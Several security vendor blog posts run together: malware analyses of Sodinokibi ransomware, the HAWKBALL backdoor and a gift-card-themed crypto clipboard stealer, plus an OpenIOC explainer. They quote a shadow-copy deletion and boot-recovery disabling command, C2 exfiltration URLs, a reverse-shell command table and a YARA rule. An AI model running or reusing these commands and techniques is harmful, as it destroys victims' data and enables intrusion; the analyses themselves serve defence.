June’s Expert Insight: 3 Things That Keep a Top Data Security Expert Up at Night Tony DeMichele runs database engineering and database audit and compliance for a Fortune 50 company, so he has to have a finger on the pulse of cybersecurity.
What does he prioritize?
What is he really worried about?
He talked to us about data breaches, human error and moving data to the cloud.
Take a look at his practical advice for dealing with today’s most pressing cybersecurity worries.
Want to keep up with today’s cybersecurity news and best practices?
Watch this space for the Security Intelligence newsletter.
By McAfee Labs on Oct 02, 2019 Episode 1: What the Code Tells Us McAfee’s Advanced Threat Research team (ATR) observed a new ransomware family in the wild, dubbed Sodinokibi (or REvil), at the end of April 2019.
Around this same time, the GandCrab ransomware crew announced they would shut down their operations.
Coincidence?
Or is there more to the story?
In this series of blogs, we share fresh analysis of Sodinokibi and its connections to GandCrab, with new insights gleaned exclusively from McAfee ATR’s in-depth and extensive research.
Episode 1: What the Code Tells Us Episode 2: The All-Stars Episode 3: Follow the Money Episode 4:
Crescendo In this first instalment we share our extensive malware and post-infection analysis and visualize exactly how big the Sodinokibi campaign is.
Background Since its arrival in April 2019, it has become very clear that the new kid in town, “Sodinokibi” or “REvil” is a serious threat.
The name Sodinokibi was discovered in the hash ccfde149220e87e97198c23fb8115d5a where ‘Sodinokibi.exe’ was mentioned as the internal file name; it is also known by the name of REvil.
At first, Sodinokibi ransomware was observed propagating itself by exploiting a vulnerability in Oracle’s WebLogic server.
However, similar to some other ransomware families, Sodinokibi is what we call a Ransomware-as-a-Service (RaaS), where a group of people maintain the code and another group, known as affiliates, spread the ransomware.
This model allows affiliates to distribute the ransomware any way they like.
Some affiliates prefer mass-spread attacks using phishing-campaigns and exploit-kits, where other affiliates adopt a more targeted approach by brute-forcing RDP access and uploading tools and scripts to gain more rights and execute the ransomware in the internal network of a victim.
We have investigated several campaigns spreading Sodinokibi, most of which had different modus operandi but we did notice many started with a breach of an RDP server.
Who and Where is Sodinokibi Hitting?
Based on visibility from MVISION Insights we were able to generate the below picture of infections observed from May through August 23 rd , 2019: Who is the target?
Mostly organizations, though it really depends on the skills and expertise from the different affiliate groups on who, and in which geo, they operate.
Reversing the Code In this first episode, we will dig into the code and explain the inner workings of the ransomware once it has executed on the victim’s machine.
Overall the code is very well written and designed to execute quickly to encrypt the defined files in the configuration of the ransomware.
The embedded configuration file has some interesting options which we will highlight further in this article.
Based on the code comparison analysis we conducted between GandCrab and Sodinokibi we consider it a likely hypothesis that the people behind the Sodinokibi ransomware may have some type of relationship with the GandCrab crew.
FIGURE 1.1.
OVERVIEW OF SODINOKIBI’S EXECUTION FLAW Inside the Code Sodinokibi Overview For this article we researched the sample with the following hash (packed): The main goal of this malware, as other ransomware families, is to encrypt your files and then request a payment in return for a decryption tool from the authors or affiliates to decrypt them.
The malware sample we researched is a 32-bit binary, with an icon in the packed file and without one in the unpacked file.
The packer is programmed in Visual C++ and the malware itself is written in pure assembly.
Technical Details
The goal of the packer is to decrypt the true malware part and use a RunPE technique to run it from memory.
To obtain the malware from memory, after the decryption is finished and is loaded into the memory, we dumped it to obtain an unpacked version.
The first action of the malware is to get all functions needed in runtime and make a dynamic IAT to try obfuscating the Windows call in a static analysis.
FIGURE 2.
THE MALWARE GETS ALL FUNCTIONS NEEDED IN RUNTIME The next action of the malware is trying to create a mutex with a hardcoded name.
It is important to know that the malware has 95% of the strings encrypted inside.
Consider that each sample of the malware has different strings in a lot of places; values as keys or seeds change all the time to avoid what we, as an industry do, namely making vaccines or creating one decryptor without taking the values from the specific malware sample to decrypt the strings.
FIGURE 3.
CREATION OF A MUTEX AND CHECK TO SEE IF IT ALREADY EXISTS If the mutex exists, the malware finishes with a call to “ExitProcess.”
This is done to avoid re-launching of the ransomware.
After this mutex operation the malware calculates a CRC32 hash of a part of its data using a special seed that changes per sample too.
This CRC32 operation is based on a CRC32 polynomial operation instead of tables to make it faster and the code-size smaller.
The next step is decrypting this block of data if the CRC32 check passes with success.
If the check is a failure, the malware will ignore this flow of code and try to use an exploit as will be explained later in the report.
FIGURE 4.
CALCULATION OF THE CRC32 HASH OF THE CRYPTED CONFIG AND DECRYPTION
IF IT PASSES THE CHECK
In the case that the malware passes the CRC32 check and decrypts correctly with a key that changes per sample, the block of data will get a JSON file in memory that will be parsed.
This config file has fields to prepare the keys later to encrypt the victim key and more information that will alter the behavior of the malware.
The CRC32 check avoids the possibility that somebody can change the crypted data with another config and does not update the CRC32 value in the malware.
After decryption of the JSON file, the malware will parse it with a code of a full JSON parser and extract all fields and save the values of these fields in the memory.
FIGURE 5.
PARTIAL EXAMPLE OF THE CONFIG DECRYPTED AND CLEANED Let us explain all the fields in the config and their meanings: pk ->
This value encoded in base64 is important later for the crypto process; it is the public key of the attacker.
pid ->
The affiliate number that belongs to the sample.
sub ->
The subaccount or campaign id for this sample that the affiliate uses to keep track of its payments.
dbg -> Debug option.
In the final version this is used to check if some things have been done or not; it is a development option that can be true or false.
In the samples in the wild it is in the false state.
If it is set, the keyboard check later will not happen.
It is useful for the malware developers to prove the malware works correctly in the critical part without detecting his/her own machines based on the language.
fast ->
If this option is enabled, and by default a lot of samples have it enabled, the malware will crypt the first 1 megabyte of each target file, or all files if it is smaller than this size.
In the case that this field is false, it will crypt all files.
wipe ->
If this option is ‘true’, the malware will destroy the target files in the folders that are described in the json field “wfld”.
This destruction happens in all folders that have the name or names that appear in this field of the config in logic units and network shares.
The overwriting of the files can be with trash data or null data, depending of the sample.
wht ->
This field has some subfields: fld -> Folders that should not be crypted; they are whitelisted to avoid destroying critical files in the system and programs.
fls -> List of whitelists of files per name; these files will never be crypted and this is useful to avoid destroying critical files in the system.
ext -> List of the target extensions to avoid encrypting based on extension.
wfld -> A list of folders where the files will be destroyed if the wipe option is enabled.
prc -> List of processes to kill for unlocking files that are locked by this/these program/s, for example, “mysql.exe”.
dmn -> List of domains that will be used for the malware if the net option is enabled; this list can change per sample, to send information of the victim.
net ->
This value can be false or true.
By default, it is usually true, meaning that the malware will send information about the victim if they have Internet access to the domain list in the field “dmn” in the config.
nbody ->
A big string encoded in base64 that is the template for the ransom note that will appear in each folder where the malware can create it.
nname ->
The string of the name of the malware for the ransom note file.
It is a template that will have a part that will be random in the execution.
exp ->
This field is very important in the config.
By default it will usually be ‘false’, but if it is ‘true’, or if the check of the hash of the config fails, it will use the exploit CVE-2018-8453.
The malware has this value as false by default because this exploit does not always work and can cause a Blue Screen of Death that avoids the malware’s goal to encrypt the files and request the ransom.
If the exploit works, it will elevate the process to SYSTEM user.
img ->
A string encoded in base64.
It is the template for the image that the malware will create in runtime to change the wallpaper of the desktop with this text.
After decrypting the malware config, it parses it and the malware will check the “exp” field and if the value is ‘true’, it will detect the type of the operative system using the PEB fields that reports the major and minor version of the OS.
FIGURE 6.
CHECK OF THE VERSION OF THE OPERATIVE SYSTEM Usually only one OS can be found but that is enough for the malware.
The malware will check the file-time to verify if the date was before or after a patch was installed to fix the exploit.
If the file time is before the file time of the patch, it will check if the OS is 64-bit or 32-bit using the function “GetSystemNativeInfoW”.
When the OS system is 32-bit, it will use a shellcode embedded in the malware that is the exploit and, in the case of a 64-bit OS, it will use another shellcode that can use a “Heaven´s Gate” to execute code of 64 bits in a process of 32 bits.
FIGURE 7.
CHECK IF OS IS 32- OR 64-BIT In the case that the field was false, or the exploit is patched, the malware will check the OS version again using the PEB.
If the OS is Windows Vista, at least it will get from the own process token the level of execution privilege.
When the discovered privilege level is less than 0x3000 (that means that the process is running as a real administrator in the system or SYSTEM), it will relaunch the process using the ‘runas’ command to elevate to 0x3000 process from 0x2000 or 0x1000 level of execution.
After relaunching itself with the ‘runas’ command the malware instance will finish.
FIGURE 8.
CHECK IF OS IS WINDOWS VISTA MINIMAL AND CHECK OF EXECUTION LEVEL
The malware’s next action is to check if the execute privilege is SYSTEM.
When the execute privilege is SYSTEM, the malware will get the process “Explorer.exe”, get the token of the user that launched the process and impersonate it.
It is a downgrade from SYSTEM to another user with less privileges to avoid affecting the desktop of the SYSTEM user later.
After this it will parse again the config and get information of the victim’s machine This information is the user of the machine, the name of the machine, etc.
The malware prepares a victim id to know who is affected based in two 32-bit values concat in one string in hexadecimal.
The first part of these two values is the serial number of the hard disk of the Windows main logic unit, and the second one is the CRC32 hash value that comes from the CRC32 hash of the serial number of the Windows logic main unit with a seed hardcoded that change per sample.
FIGURE 9.
GET DISK SERIAL NUMBER TO MAKE CRC32 HASH After this, the result is used as a seed to make the CRC32 hash of the name of the processor of the machine.
But this name of the processor is not extracted using the Windows API as GandCrab does; in this case the malware authors use the opcode CPUID to try to make it more obfuscated.
FIGURE 10.
GET THE PROCESSOR NAME USING CPUID OPCODE
Finally, it converts these values in a string in a hexadecimal representation and saves it.
Later, during the execution, the malware will write in the Windows registry the next entries in the subkey “SOFTWARE\\recfg” (this subkey can change in some samples but usually does not).
The key entries are: 0_key -> Type binary; this is the master key (includes the victim’s generated random key to crypt later together with the key of the malware authors).
sk_key ->
As 0_key entry, it is the victim’s private key crypted but with the affiliate public key hardcoded in the sample.
It is the key used in the decryptor by the affiliate, but it means that the malware authors can always decrypt any file crypted with any sample as a secondary resource to decrypt the files.
pk_key ->
Victim public key derivate from the private key.
subkey -> Affiliate public key to use.
stat ->
The information gathered from the victim machine and used to put in the ransom note crypted and in the POST send to domains.
rnd_ext ->
The random extension for the encrypted files (can be from 5 to 10 alphanumeric characters).
The malware tries to write the subkey and the entries in the HKEY_LOCAL_MACHINE hive at first glance and, if it fails, it will write them in the HKEY_CURRENT_USER hive.
FIGURE 11.
EXAMPLE OF REGISTRY ENTRIES AND SUBKEY IN THE HKLM HIVE
The information that the malware gets from the victim machine can be the user name, the machine name, the domain where the machine belongs or, if not, the workgroup, the product name (operating system name), etc.
After this step is completed, the malware will check the “dbg” option gathered from the config and, if that value is ‘true’, it will avoid checking the language of the machine but if the value is ‘false’ ( by default), it will check the machine language and compare it with a list of hardcoded values.
FIGURE 12.
GET THE KEYBOARD LANGUAGE OF THE SYSTEM
The malware checks against the next list of blacklisted languages (they can change per sample in some cases): 0x818 – Romanian (Moldova) 0x419 – Russian 0x819 – Russian (Moldova
) 0x422 – Ukrainian 0x423 – Belarusian 0x425 – Estonian 0x426 – Latvian 0x427 – Lithuanian 0x428 – Tajik 0x429 – Persian 0x42B – Armenian 0x42C – Azeri 0x437 – Georgian 0x43F – Kazakh 0x440 – Kyrgyz 0x442 – Turkmen 0x443 – Uzbek 0x444 – Tatar 0x45A – Syrian 0x2801 – Arabic (Syria)
We observed that Sodinokibi, like GandCrab and Anatova, are blacklisting the regular Syrian language and the Syrian language in Arabic too.
If the system contains one of these languages, it will exit without performing any action.
If a different language is detected, it will continue in the normal flow.
This is interesting and may hint to an affiliate being involved who has mastery of either one of the languages.
This insight became especially interesting later in our investigation.
If the malware continues, it will search all processes in the list in the field “prc” in the config and terminate them in a loop to unlock the files locked for this/these process/es.
FIGURE 13.
SEARCH FOR TARGET PROCESSES AND TERMINATE THEM After this it will destroy all shadow volumes of the victim machine and disable the protection of the recovery boot with this command: exe /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
It is executed with the Windows function “ShellExecuteW”.
FIGURE 14.
LAUNCH COMMAND TO DESTROY SHADOW VOLUMES AND DESTROY SECURITY IN THE BOOT
Next it will check the field of the config “wipe” and if it is true will destroy and delete all files with random trash or with NULL values.
If the malware destroys the files , it will start enumerating all logic units and finally the network shares in the folders with the name that appear in the config field “wfld”.
FIGURE 15.
WIPE FILES IN THE TARGET FOLDERS
In the case where an affiliate creates a sample that has defined a lot of folders in this field, the ransomware can be a solid wiper of the full machine.
The next action of the malware is its main function, encrypting the files in all logic units and network shares, avoiding the white listed folders and names of files and extensions, and dropping the ransom note prepared from the template in each folder.
FIGURE 16.
CRYPT FILES IN THE LOGIC UNITS AND NETWORK SHARES After finishing this step, it will create the image of the desktop in runtime with the text that comes in the config file prepared with the random extension that affect the machine.
The next step is checking the field “net” from the config, and, if true, will start sending a POST message to the list of domains in the config file in the field “dmn”.
FIGURE 17.
PREPARE THE FINAL URL RANDOMLY PER DOMAIN TO MAKE THE POST COMMAND This part of the code has similarities to the code of GandCrab, which we will highlight later in this article.
After this step the malware cleans its own memory in vars and strings but does not remove the malware code, but it does remove the critical contents to avoid dumps or forensics tools that can gather some information from the RAM.
FIGURE 18.
CLEAN MEMORY OF VARS
If the malware was running as SYSTEM after the exploit, it will revert its rights and finally finish its execution.
FIGURE 19.
REVERT THE SYSTEM PRIVILEGE EXECUTION LEVEL Code Comparison with GandCrab Using the unpacked Sodinokibi sample and a v5.03 version of GandCrab, we started to use IDA and BinDiff to observe any similarities.
Based on the Call-Graph it seems that there is an overall 40 percent code overlap between the two: FIGURE 20.
CALL-GRAPH COMPARISON
The most overlap seems to be in the functions of both families.
Although values change, going through the code reveals similar patterns and flows:
Although here and there are some differences, the structure is similar:
We already mentioned that the code part responsible for the random URL generation has similarities with regards to how it is generated in the GandCrab malware.
Sodinokibi is using one function to execute this part where GandCrab is using three functions to generate the random URL.
Where we do see some similar structure is in the parts for the to-be-generated URL in both malware codes.
We created a visual to explain the comparison better: FIGURE 21.
URL GENERATION COMPARISON We observe how even though the way both ransomware families generate the URL might differ, the URL directories and file extensions used have a similarity that seems to be more than coincidence.
This observation was also discovered by Tesorion in one of its blogs .
Overall, looking at the structure and coincidences, either the developers of the GandCrab code used it as a base for creating a new family or, another hypothesis, is that people got hold of the leaked GandCrab source code and started the new RaaS Sodinokibi.
Conclusion Sodinokibi is a serious new ransomware threat that is hitting many victims all over the world.
We executed an in-depth analysis comparing GandCrab and Sodinokibi and discovered a lot of similarities, indicating the developer of Sodinokibi had access to GandCrab source-code and improvements.
The Sodinokibi campaigns are ongoing and differ in skills and tools due to the different affiliates operating these campaigns, which begs more questions to be answered.
How do they operate?
And is the affiliate model working?
McAfee ATR has the answers in episode 2, “ The All Stars .”
Coverage McAfee is detecting this family by the following signatures: “Ransom-Sodinokibi” “Ransom-REvil!”.
MITRE ATT&CK Techniques
The malware sample uses the following MITRE ATT&CK™ techniques: File and Directory Discovery File Deletion Modify Registry Query Registry Registry modification Query information of the user Crypt Files Destroy Files Make C2 connections to send information of the victim Modify system configuration Elevate privileges YARA Rule rule Sodinokobi { /* This rule detects Sodinokobi Ransomware in memory in old samples and perhaps future.
*/ meta: author      =
“McAfee ATR team” version     = “1.0” description =
“This rule detect Sodinokobi Ransomware in memory in old samples and perhaps future.”
strings: $a = { 40 0F B6 C8 89 4D FC 8A 94
0D FC FE FF FF 0F B6 C2 03 C6 0F B6 F0 8A 84 35 FC FE FF FF 88 84
0D FC FE FF FF 88 94 35 FC FE FF FF 0F B6 8C 0D FC FE FF FF } $b = { 0F B6 C2 03
C8 8B 45 14 0F B6 C9 8A 8C 0D FC FE FF FF 32 0C 07 88
08 40 89 45 14 8B 45 FC 83 EB 01 75 AA } condition: all of them }
Written by Will Gibb & Devon Kerr One challenge investigators face during incident response is finding a way to organize information about an attackers' activity, utilities, malware and other indicators of compromise, called IOCs.
The OpenIOC format addresses this challenge head-on.
OpenIOC provides a standard format and terms for describing the artifacts encountered during the course of an investigation.
In this post we're going to provide a high-level overview of IOCs, including IOC use cases, the structure of an IOC and IOC logic.
Before we continue, it's important to mention that IOCs are not signatures, and they aren't meant to function as a signature would.
It is often understated, but an IOC is meant to be used in combination with human intelligence.
IOCs are designed to aid in your investigation, or the investigations of others with whom you share threat intelligence.
IOC Use Cases: There are several use cases for codifying your IOCs, and these typically revolve around your objectives as an investigator.
The number of potential use cases is quite large, and we've listed some of the most common use cases below: Find malware/utility : This is the most common use case.
Essentially, this is an IOC written to find some type of known malware or utility, either by looking for attributes of the binary, itself, or for some artifact created upon execution, such as a prefetch file or registry key.
Methodology : Unlike an IOC written to identify malware or utilities, these IOCs find things you don't necessarily know about, in order to generate investigative leads.
For example, if you wanted to identify any service DLL that wasn't signed and which was loaded from any directory that did not include the path \"windowssystem32\", you could write an IOC to describe that condition.
Another good example of a methodology IOC is an IOC that looks for the Registry text value of all \"Run\" keys for a string ending \".jpg\".
This represents an abnormal condition which upon investigation may lead to evidence of a compromise.
Bulk :
You may already be using this kind of IOC.
Many organizations subscribe to threat intelligence feeds that deliver a list of MD5s or IP addresses; a bulk IOC can represent a collection of those indicators.
These kinds of IOCs are very black and white and are typically only good for an exact match.
Investigative :
As you investigate systems in an environment and identify evidence of malicious activity such as metadata related to the installation of backdoors, execution of tools, or files being staged for theft, you can track that information in an IOC.
These IOCs are similar to bulk IOCs; however, an investigative IOC only contains indicators from a single investigation.
Using this type of IOC can help you to prioritize which systems you want to analyze.
IOC components: An IOC is made up of three main parts: IOC metadata, references and the definition.
Let's examine each one of these more closely, noting that we're using the Mandiant IOC Editor (IOCe) downloadable from the Mandiant website:
Metadata : IOC metadata describes information like the author of the IOC (jsmith@domain.tld), the name of the IOC (Evil.exe (BACKDOOR) and a brief description such as \"This variant of the open source Poison Ivy backdoor has been configured to beacon to 10.127.10.128 and registers itself as \"Microsoft 1atent time services\".
References : Within the IOC, references can find information like the name of an investigation or case number, comments and information on the maturity of the IOC such as Alpha, Beta, Release, etc.
This data can help you to understand where the IOC fits in your library of threat intelligence.
One common use for references is to associate an IOC with a particular threat group.
It is not uncommon for certain references to be removed from IOCs when sharing IOCs with third parties.
Definition :
This is the content of the IOC, containing the artifacts that an investigator decided to codify in the IOC.
For example, these may include the MD5 of a file, a registry path or something found in process memory.
Inside the definition, indicators are listed out or combined into expressions that consist of two terms and some form of Boolean logic.
One thing about the OpenIOC format that makes it particularly useful is the ability to combine similar terms using Boolean AND & OR logic.
The previous example shows how this type of logic can be used.
This type of IOC describes three possible scenarios: The name of a service is \"MS 1atent time services\" - OR - The ServiceDLL name for any service contains \"evil.exe\" - OR - The filename is \"bad.exe\" AND the filesize attribute of that file is within the range 4096 to 10240 bytes.
When you use Boolean logic, remember the following:
An AND requires that both sides of the expression are true An OR requires that one side of the expression is true Understanding that the Boolean statements, such as 'The name of a service is \"MS 1atent time services\", OR \"filename is \"bad.exe\" AND the filesize attribute of that file is within the range 4096 to 10240 bytes\"', are evaluated separately is an important aspect understanding how the logic within an IOC works.
These statements are not if-else statements, nor do they both have to exist in order for the IOC to have a match.
When investigating a host, if the \"MS 1atent time services\" service is present, this IOC would have a match; regardless of whether or not the malicious file the IOC described was present on the host as well.
In our next post we're going to have a crash course in writing IOC definitions using the Mandiant IOC editor, IOCe.
Subscribe to Blogs Get email updates as new blog posts are added.
FireEye Labs recently observed an attack against the government sector in Central Asia.
The attack involved the new HAWKBALL backdoor being delivered via well-known Microsoft Office vulnerabilities CVE-2017-11882 and CVE-2018-0802.
HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads.
HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives.
Figure 1 shows the decoy used in the attack.
Figure 1: Decoy used in attack The decoy file, doc.rtf (MD5: AC0EAC22CE12EAC9EE15CA03646ED70C), contains an OLE object that uses Equation Editor to drop the embedded shellcode in %TEMP% with the name 8.t.
This shellcode is decrypted in memory through EQENDT32.EXE.
Figure 2 shows the decryption mechanism used in EQENDT32.EXE.
Figure 2:
Shellcode decryption routine The decrypted shellcode is dropped as a Microsoft Word plugin WLL (MD5: D90E45FBF11B5BBDCA945B24D155A4B2) into C:\\Users\\ADMINI~1\\AppData\\Roaming\\Microsoft\\Word\\STARTUP (Figure 3).
Figure 3:
Payload dropped as Word plugin Technical Details DllMain of the dropped payload determines if the string WORD.EXE is present in the sample’s command line.
If the string is not present, the malware exits.
If the string is present, the malware executes the command RunDll32.exe < C:\\Users\\ADMINI~1\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\hh14980443.wll, DllEntry> using the WinExec() function.
DllEntry is the payload’s only export function.
The malware creates a log file in %TEMP% with the name c3E57B.tmp.
The malware writes the current local time plus two hardcoded values every time in the following format: <Month int>/<Date int>
<
Hours>:<Minutes>:<Seconds>\\t
<
Hardcoded Digit>\\t<Hardcoded Digit>\\n Example: 05/22 07:29:17 4          0
This log file is written to every 15 seconds.
The last two digits are hard coded and passed as parameters to the function (Figure 4).
Figure 4: String format for log file
The encrypted file contains a config file of 0x78 bytes.
The data is decrypted with an 0xD9 XOR operation.
The decrypted data contains command and control (C2) information as well as a mutex string used during malware initialization.
Figure 5 shows the decryption routine and decrypted config file.
Figure 5:
Config decryption routine The IP address from the config file is written to %TEMP%/3E57B.tmp with the current local time.
For example: 05/22 07:49:48 149.28.182.78.
Mutex Creation
The malware creates a mutex to prevent multiple instances of execution.
Before naming the mutex, the malware determines whether it is running as a system profile (Figure 6).
To verify that the malware resolves the environment variable for %APPDATA%, it checks for the string config/systemprofile.
Figure 6:
Verify whether malware is running as a system profile If the malware is running as a system profile, the string d0c from the decrypted config file is used to create the mutex.
Otherwise, the string _cu is appended to d0c and the mutex is named d0c_cu (Figure 7).
Figure 7: Mutex creation After the mutex is created, the malware writes another entry in the logfile in %TEMP% with the values 32 and 0.
Network Communication HAWKBALL is a backdoor that communicates to a single hard-coded C2 server using HTTP.
The C2 server is obtained from the decrypted config file, as shown in Figure 5.
The network request is formed with hard-coded values such as User-Agent.
The malware also sets the other fields of request headers such as: Content-Length: <content_length> Cache-Control: no-cache Connection: close The malware sends an HTTP GET request to its C2 IP address using HTTP over port 443.
Figure 8 shows the GET request sent over the network.
Figure 8:
Network request The network request is formed with four parameters in the format shown in Figure 9.
Format = \"?t=%d&&s=%d&&p=%s&&k=%d\" Figure 9: GET request parameters formation Table 1 shows the GET request parameters.
Value Information T Initially set to 0 S Initially set to 0 P String from decrypted config at 0x68
k
The result of GetTickCount() Table 1: GET request parameters If the returned response is 200, then the malware sends another GET request (Figure 10) with the following parameters (Figure 11).
Format = \"?e=%d&&t=%d&&k=%d\" Figure 10:
Second GET request Figure 11:
Second GET request parameters formation Table 2 shows information about the parameters.
Value Information E Initially Set to 0 T Initially set to 0
K The result of GetTickCount() Table 2: Second GET request parameters If the returned response is 200, the malware examines the Set-Cookie field.
This field provides the Command ID.
As shown in Figure 10, the field Set-Cookie responds with ID=17.
This Command ID acts as the index into a function table created by the malware.
Figure 12 shows the creation of the virtual function table that will perform the backdoor’s command.
Figure 12: Function table Table 3 shows the commands supported by HAWKBALL.
Command Operation Performed 0 Set URI query string to value 16 Unknown 17 Collect system information 18 Execute a provided argument using CreateProcess 19 Execute a provided argument using CreateProcess and upload output 20 Create a cmd.exe reverse shell, execute a command, and upload output 21 Shut down reverse shell
22 Unknown 23 Shut down reverse shell 48 Download file 64 Get drive geometry and free space for logical drives C-Z 65 Retrieve information about provided directory 66 Delete file 67 Move file Table 3: HAWKBALL commands Collect System Information Command ID 17 indexes to a function that collects the system information and sends it to the C2 server.
The system information includes: Computer Name User Name IP Address Active Code Page OEM Page OS Version Architecture Details (x32/x64)
String at 0x68 offset from decrypted config file This information is retrieved from the victim using the following WINAPI calls:
Format = \"%s;%s;%s;%d;%d;%s;%s %dbit\" GetComputerNameA GetUserNameA Gethostbyname and inet_ntoa GetACP GetOEMPC GetCurrentProcess and IsWow64Process Figure 13:
System information The collected system information is concatenated together with a semicolon separating each field: WIN732BIT-L-0;Administrator;10.128.62.115;1252;437;d0c;Windows 7 32bit This information is encrypted using an XOR operation.
The response from the second GET request is used as the encryption key.
As shown in Figure 10, the second GET request responds with a 4-byte XOR key.
In this case the key is 0xE5044C18 .
Once encrypted, the system information is sent in the body of an HTTP POST.
Figure 14 shows data sent over the network with the POST request.
Figure 14:
POST request In the request header, the field Cookie is set with the command ID of the command for which the response is sent.
As shown in Figure 14, the Cookie field is set with ID=17, which is the response for the previous command.
In the received response, the next command is returned in field Set-Cookie.
Table 4 shows the parameters of this POST request.
Parameter Information E Initially set to 0 T Decimal form of the little-endian XOR key K The result of GetTickCount() Table 4: POST request parameters Create Process
The malware creates a process with specified arguments.
Figure 15 shows the operation.
Figure 15: Command create process
Delete File
The malware deletes the file specified as an argument.
Figure 16 show the operation.
Figure 16:
Delete file operation Get Directory Information
The malware gets information for the provided directory address using the following WINAPI calls: FindFirstFileW FindNextFileW FileTimeToLocalFileTime FiletimeToSystemTime Figure 17 shows the API used for collecting information.
Figure 17:
Get directory information Get Disk Information
This command retrieves the drive information for drives C through Z along with available disk space for each drive.
Figure 18:
Retrieve drive information The information is stored in the following format for each drive: Format = \"%d+%d+%d+%d;\
" Example: \"8+512+6460870+16751103;\" The information for all the available drives is combined and sent to the server using an operation similar to Figure 14.
Anti-Debugging Tricks Debugger Detection With PEB The malware queries the value for the flag BeingDebugged from PEB to check whether the process is being debugged.
Figure 19:
Retrieve value from PEB
NtQueryInformationProcess
The malware uses the NtQueryInformationProcess API to detect if it is being debugged.
The following flags are used:
Passing value 0x7 to ProcessInformationClass: Figure 20: ProcessDebugPort verification Passing value 0x1E to ProcessInformationClass: Figure 21: ProcessDebugFlags verification Passing value 0x1F to ProcessInformationClass: Figure 22:
ProcessDebugObject Conclusion HAWKBALL is a new backdoor that provides features attackers can use to collect information from a victim and deliver new payloads to the target.
At the time of writing, the FireEye Multi-Vector Execution (MVX) engine is able to recognize and block this threat.
We advise that all industries remain on alert, though, because the threat actors involved in this campaign may eventually broaden the scope of their current targeting.
Indicators of Compromise (IOC) MD5 Name AC0EAC22CE12EAC9EE15CA03646ED70C Doc.rtf D90E45FBF11B5BBDCA945B24D155A4B2 hh14980443.wll Network Indicators 149.28.182[.
]78:443 149.28.182[.
]78:80 http://149.28.182[.
]78/?t=0&&s=0&&p=
wGH^69&&k=<tick_count>
http://149.28.182[.
]78/?e=0&&t=0&&k=<tick_count>
http://149.28.182[.
]78/?e=0&&t=<int_xor_key>&&k=<tick_count> Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET
CLR 2.0.50727; .NET
CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)
FireEye Detections MD5 Product Signature Action AC0EAC22CE12EAC9EE15CA03646ED70C FireEye Email Security FireEye Network Security FireEye Endpoint Security FE_Exploit_RTF_EQGEN_7 Exploit.
Generic.
MVX Block D90E45FBF11B5BBDCA945B24D155A4B2 FireEye Email Security FireEye Network Security FireEye Endpoint Security Malware.
Binary.
Dll FE_APT_Backdoor_Win32_HawkBall_1 APT.Backdoor.
Win.
HawkBall Block Acknowledgement Thank you to Matt Williams for providing reverse engineering support.
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FortiGuard Labs Threat Research Report Affected Platforms : All OS Impacted Parties :   Online Shoppers Impact :                     Loss of personally identifiable information and/or money Severity Level :         Low Black Friday, one of the biggest retail spending days of the year, is fast approaching.
According to Adobe Analytics , consumer spending on that day last year reached a whopping $9.03 billion dollars (21.6% Year-over-Year growth), and 2021 is expected to be even bigger.
Amazon is the industry’s prime online shopping web site for consumers looking to buy goods at discounted prices on Black Friday.
According to an Amazon blog , sales from Black Friday through Cyber Monday last year topped $4.8 billion worldwide (60% Year-over-Year growth).
Given the popularity, volume, and money related to this event, cybercriminals would not pass up on this lucrative opportunity to fool consumers any way they can for financial gain.
In this blog, we will elaborate how cybercriminals are using a fake Amazon gift card generator to steal cryptocurrency from their victims and using fake documents to lure those victims into potentially giving out their personal information, such as credentials for online shopping sites, credit card numbers, and home addresses.
We also look at a similar scam preying on high interest in gaming consoles due to the global chip shortage.
Nothing is More Expensive than Free Legitimate gift cards are often used online to purchase items on Amazon.
FortiGuard Labs recently discovered a malicious file named Amazon Gift Tool.exe.
The file was found in a zip file hosted on a publicly available file repository site.
While we don’t know exactly how this tool was presented to potential victims, but criminals most likely advertised the tool as a free Amazon gift card generator.
Obviously, a tool that provides free gift cards does not exist, but the hope of getting something for nothing can be hugely attractive to many people.
However, once the victim executes the fake Amazon gift card generator it drops and executes a malicious winlogin.exe that monitors the victim’s clipboard.
The purpose of the malware is simple.
If the victim tries to add money to their anon-bitcoin wallet by copying and pasting the wallet address, the malware overwrites the victim’s wallet address on the clipboard with its own, resulting in the money potentially going to the attacker.
The malicious code works as follows: As previously stated, the malware monitors the victim’s clipboard for any copy/paste operations.
When the victim copies any data into the clipboard, the malware searches for three criteria: Clipboard text is 54 characters long (which is the length of a wallet address preceded by the string “bitcoincash:”)
Clipboard text is not “bitcoincash:<attacker’s wallet>”because replacing the wallet address would no longer be necessary Clipboard text contains “bitcoincash:” to make sure the user is currently involved in trying to transfer Bitcoin Cash If all three of the criteria match, then the malware replaces the clipboard information with the attacker’s Bitcoin Cash wallet address.
The attacker is hoping that the victim will not notice the overwritten crypto wallet address when the victim pastes it during the crypto transaction.
Figure 1 shows a part of the malware code that searches the clipboard for potential cryptocurrency wallet addresses.
The malware also sets different flags depending on the type of cryptocurrency it is testing for.
Looking at the criteria above, we can see the malware uses flag5 to test for Bitcoin Cash.
If one of the three criteria is not satisfied, the malware moves onto the next cryptocurrency target, Ethereum (flag6), and checks for: Clipboard text is 42 characters long, which is the length of an Ethereum wallet Clipboard is NOT already the attacker’s Bitcoin or Ethereum wallet Wallet address starts with“0”.
This is because Ethereum wallet addresses start with “0x”.
If all conditions match, the malware replaces the clipboard with the attacker’s Ethereum wallet address.
Figure 2 shows some of the cryptocurrency wallets the attacker owns (Bitcoin, Ethereum, Binancecoin, Litecoin, Dogecoin, and Ripple) that it tries to replace the victim’s alt-coin wallet address with.
We also found that the malicious winlogin.exe was distributed by a number of droppers with enticing names, such as Crunchyroll Breaker.exe, Netflix Tools.exe, Multi Gift Tools.exe, etc.
Free generator of this sort has been around and scammed people for years.
But given the market power of Amazon, this new scam is especially enticing.
Consumers are eager to shop as much as they can on Black Friday as a lot of goods go on sale.
Free Amazon gift cards are very attractive to those who want to spend less for the holiday season.
However, be careful with what you wish for and don’t fall a victim to scams like this one.
